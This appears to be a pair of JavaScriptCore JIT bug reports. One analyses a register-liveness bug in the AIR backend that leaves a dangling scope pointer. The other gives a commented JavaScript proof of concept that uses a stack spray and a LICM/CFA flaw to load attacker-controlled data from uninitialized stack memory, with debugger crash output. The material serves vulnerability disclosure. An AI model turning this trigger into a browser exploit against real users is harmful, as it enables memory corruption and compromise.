Next, the object allocation sinking phase runs, which determines that the created activation object doesn't leave the current scope and thus doesn't have to be allocated at all. It then replaces it with a PhancomCreateActivation, a node indicating that at this point a heap allocation used to happen which would have to be restored ("materialized") during a bailout because the interpreter/baseline JIT expects it to be there. As the scope object is required to materialize the Activation, a PutHint is created which indicates that during a bailout, the result of GetScope must be available somehow.
1 <- GetScope()
2 <- PhantomCreateActivation()
7 <- PutHint(2, 1)
3 <- GetLocal(v14)
4 <- JSConstant(-0x80000000)
5 <- ArithSub(3, 4)
6 <- NewArrayBuffer(...)
The DFG IR code is then lowered to B3, yielding the following:
Int64 @66 = Const64(16, DFG:@1)
Int64 @67 = Add(@35, $16(@66), DFG:@1)
Int64 @68 = Load(@67, ControlDependent|Reads:28, DFG:@1)
Int32 @69 = Const32(-2147483648, DFG:@5)
Int32 @70 = CheckSub(@48:WarmAny, $-2147483648(@69):WarmAny, @35:ColdAny, @48:ColdAny, @68:ColdAny, @41:ColdAny, ...)
Int64 @74 = Patchpoint(..., DFG:@6)
Here, the first three operations fetch the current scope, the next two instruction perform the checked integer subtraction, and the last instruction performs the array storage allocation. Note that the scope object (@68) is an operand for the subtraction as it is required for the materialization of the activation during a bailout. The B3 code is then (after more optimizations) lowered to AIR:
Move %tmp2, (stack0), @65
Move 16(%tmp2), %tmp28, @68
Move $-2147483648, %tmp29, $-2147483648(@69)
Move %tmp4, %tmp27, @70
Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %tmp27, %tmp2, %tmp4, %tmp28, %tmp5, @70
Patch &Patchpoint2, %tmp24, %tmp25, %tmp26, @74
Then, after optimizations on the AIR code and register allocation:
Move %rax, (stack0), @65
Move 16(%rax), %rdx, @68
Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %rcx, %rax, %rcx, %rdx, %rsi, @70
Patch &Patchpoint2, %rax, %rcx, %rdx, @74
Finally, in the reportUsedRegisters phase (AirReportUsedRegisters.cpp), the following happens
* The register rdx is marked as "lateUse" for the BranchSub32 and as "earlyDef" for the Patchpoint (this might ultimately be the cause of the issue).
"early" and "late" refer to the time the operand is used/defined, either before the instruction executes or after.
* As such, at the boundary (which is where register liveness is computed) between the last two instructions, rdx is both defined and used.
* Then, when liveness is computed (in AirRegLiveness.cpp) for the boundary between the Move and the BranchSub32, rdx is determined to be dead as it is not used at the boundary and defined at the following boundary:
// RegLiveness::LocalCalc::execute
void execute(unsigned instIndex)
{
m_workset.exclude(m_actions[instIndex + 1].def);
m_workset.merge(m_actions[instIndex].use);
}
As a result, the assignment to rdx (storing the pointer to the scope object), is determined to be a store to a dead register and is thus discarded, leaving the following code:
Move %rax, (stack0), @65
Patch &BranchSub32(3,SameAsRep)4, Overflow, $-2147483648, %rcx, %rax, %rcx, %rdx, %rsi, @70
Patch &Patchpoint2, %rax, %rcx, %rdx, @74
As such, whatever used to be in rdx will then be treated as a pointer to a scope object during materialization of the activation in the case of a bailout, leading to a crash similar to the following:
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbbadbeef)
* frame #0: 0x0000000101a88b20 JavaScriptCore`::WTFCrash() at Assertions.cpp:255
frame #1: 0x00000001000058fb jsc`WTFCrashWithInfo((null)=521, (null)="../../Source/JavaScriptCore/runtime/JSCJSValueInlines.h", (null)="JSC::JSCell *JSC::JSValue::asCell() const", (null)=1229) at Assertions.h:560
frame #2: 0x000000010000bdbb jsc`JSC::JSValue::asCell(this=0x00007ffeefbfcf78) const at JSCJSValueInlines.h:521
frame #3: 0x0000000100fe5fbd JavaScriptCore`::operationMaterializeObjectInOSR(exec=0x00007ffeefbfd230, materialization=0x0000000106350f00, values=0x00000001088e7448) at FTLOperations.cpp:217
frame #4: ...
(lldb) up 2
frame #2: 0x000000010000bdbb jsc`JSC::JSValue::asCell(this=0x00007ffeefbfcf78) const at JSCJSValueInlines.h:521
(lldb) p *this
(JSC::JSValue) $2 = {
u = {
asInt64 = -281474976710656
ptr = 0xffff000000000000
asBits = (payload = 0, tag = -65536)
}
}
In this execution, the register rdx contained the value 0xffff000000000000, used in the JITed code as a mask to e.g. quickly determine whether a value is an integer. However, depending on the compiled code, the register could store different (and potentially attacker controlled) data. Moreover, it might be possible to trigger the same misbehaviour in other situations in which the dangling register is expected to hold some other value.
This particular sample seems to require the ValueSub DFG instruction, introduced in git commit 5ea7781f2acb639eddc2ec8041328348bdf72877, to produce this type of AIR code. However, it is possible that other DFG IR operations can result in the same AIR code and thus trigger this issue. I have a few other samples that appear to be triggering the same bug with different thresholds and potentially with concurrent JIT enabled which I can share if that is helpful.
While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release:
// Run with --useConcurrentJIT=false
// Fill the stack with the return value of the provided function.
function stackspray(f) {
// This function will spill all the local variables to the stack
// since they are needed for the returned array.
let v0 = f(); let v1 = f(); let v2 = f(); let v3 = f();
let v4 = f(); let v5 = f(); let v6 = f(); let v7 = f();
return [v0, v1, v2, v3, v4, v5, v6, v7];
}
// JIT compile the stack spray.
for (let i = 0; i < 1000; i++) {
// call twice in different ways to prevent inlining.
stackspray(() => 13.37);
stackspray(() => {});
}
for (let v15 = 0; v15 < 100; v15++) {
function v19(v23) {
// This weird loop form might be required to prevent loop unrolling...
for (let v30 = 0; v30 < 3; v30 = v30 + "asdf") {
// Generates the specific CFG necessary to trigger the bug.
const v33 = Error != Error;
if (v33) {
} else {
// Force a bailout.
// CFA will stop here and thus mark the following code as unreachable.
// Then, LICM will ignore the memory writes (e.g. initialization of stack slots)
// performed by the following code and will then move the memory reads (e.g.
// access to stack slots) above the loop, where they will, in fact, be executed.
const v34 = (1337)[-12345];
}
function v38(v41) {
// v41 is 8 bytes of uninitialized stack memory here, as
// (parts of) this code get moved before the loop as well.
return v41.hax = 42;
}
for (let v50 = 0; v50 < 10000; v50++) {
let o = {hax: 42};
const v51 = v38(o, ...arguments);
}
}
// Force FTL compilation, probably.
for (let v53 = 0; v53 < 1000000; v53++) {
}
}
// Put controlled data onto the stack.
stackspray(() => 3.54484805889626e-310); // 0x414141414141 in binary
// Call the miscompiled function.
const v55 = v19(1337);
}
This yields a crash similar to the following:
# lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc --useConcurrentJIT=false current.js
(lldb) target create "/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc"
Current executable set to '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64).
(lldb) settings set -- target.run-args "--useConcurrentJIT=false" "current.js"
(lldb) r
Process 45483 launched: '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64)
Process 45483 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x000025c3ca81306e
-> 0x25c3ca81306e: cmp dword ptr [rax], 0x127
0x25c3ca813074: jne 0x25c3ca81316f
0x25c3ca81307a: mov dword ptr [rbp + 0x24], 0x1
0x25c3ca813081: movabs rax, 0x7fff3c932a70
Target 0: (jsc) stopped.
(lldb) reg read rax
rax = 0x0001414141414141 // Note the additional 0x1 at the start due to the NaN boxing scheme (see JSCJSValue.h)
The same sample also sometimes triggers a crash with --useConcurrentJIT=true (the default), but it is more reliable with concurrent JIT disabled.
If the sprayed value is a valid pointer, that pointer would either be treated as an object with the structure of `o` in the following code (if the first dword matches the structure ID), or it would be treated as a JSValue after a bailout to the baseline JIT/interpreter.
It appears that what is happening here is roughly the following:
When v19 is JIT compiled in the DFG, it emits the following (shortened and simplified) DFG IR for the body of the loop:
# BASIC BLOCK #9 (loop body)
# Create object `o`
110: NewObject()
116: PutByOffset(@110, @113, id1{hax})
117: PutStructure(@110, ID:430)
# Spread `o` and `arguments` into a new array and use that for a varargs call
131: Spread(@30)
134: NewArrayWithSpread(@110, @131)
142: LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap)
# Inlined call to v38, load the first argument from the stack (where LoadVarargs put it)
8: GetStack(R:Stack(-24))
177: CheckStructure(@8)
178: PutByOffset(@8, @113, id1{hax})
...
During loop-invariant code motion (LICM), the GetStack operation, reading from the stack slot initialized by the LoadVarargs operation, is moved in front of the loop (together with parts of the inlined v38 function), thus yielding:
# BASIC BLOCK #2 (before loop header)
8: GetStack(R:Stack(-24))
177: CheckStructure(@8)
# BASIC BLOCK #9 (loop body)
# Create object `o`
...
# Spread `o` and `arguments` into a new array and use that for a varargs call
...
142: LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap)
...
As such, in the resulting machine code, the value for v41 (the argument for the inner function) will be loaded from an uninitialized stack slot (which is only initialized later on in the code).
Normally, this shouldn't happen as the LoadVarargs operations writes into the stack (W:Stack(-24)), and GetStack reads from that (R:Stack(-24)). Quoting from DFGLICMPhase.cpp: "Hoisting is valid if: ... The node doesn't read anything that the loop writes.". As such, GetStack should not have been moved in front of the loop.
The reason that it was still moved appears to be a logical issue in the way LICM deals with dead code: LICM relies on the data computed by control flow analysis (CFA) to know whether a block will be executed at all. If a block will never be executed (and so is dead code), then LICM does not take into account memory writes (e.g. to Stack(-24)) performed by any operation in this block (See https://github.com/WebKit/webkit/blob/c755a5c371370d3a26f2dbfe0eea1b94f2f0c38b/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp#L88). It appears that this behaviour is incorrect, as in this case, CFA correctly concludes that block #9 is dead code (see below). As such, LICM doesn't "see" the memory writes and incorrectly moves the GetStack operation (reading from a stack slot) in front of the LoadVarargs operation (initializing that stack slot).
To understand why CFA computes that the loop body (block #9) is unreachable, it is necessary to take a look at the (simplified) control flow graph for v9, which can be found in the attachment (as it needs to be rendered in monospace font :)). In the CFG, block #3, corresponding to the `if`, is marked as always taking the false branch (which is correct), and thus jumping to block 5. Block 5 then contains a ForceOSRExit operation due to the out-of-bounds array access, which the JIT doesn't optimize for. As this operation terminates execution in the DFG, CFA also stops here and never visits the rest of the loop body and in particular never visits block #9.
To recap: in the provided JavaScript program, CFA correctly computes that basic block #9 is never executed. Afterwards, LICM decides, based on that data, to ignore memory writes performed in block #9 (dead code), then moves memory reads from block #9 (dead code) into block #2 (alive code). The code is then unsafe to execute. It is likely that this misbehaviour could lead to other kinds of memory corruption at runtime.
+-----+
| 0 +----+
+-----+ |
+-----+ |
| 1 +-------+ v
+-----+ | +-----------+
^ | | 2 |
| +---->| loop head |
| +-----+-----+
| |
| v
| +---------+
| | 3 |
| | if head |
| +--+---+--+
| | |
| +-----+ | | +-----+
| | 5 |<-----+ +----->| 4 |
| +--+--+ +--+--+
| OSRExit here |
| +-----+ |
| | 6 |<-------+
| +--+--+
| +------+ |
+-------+ 7-10 |<------+
+---+--+
Rest of | Loop body
|
| To End of function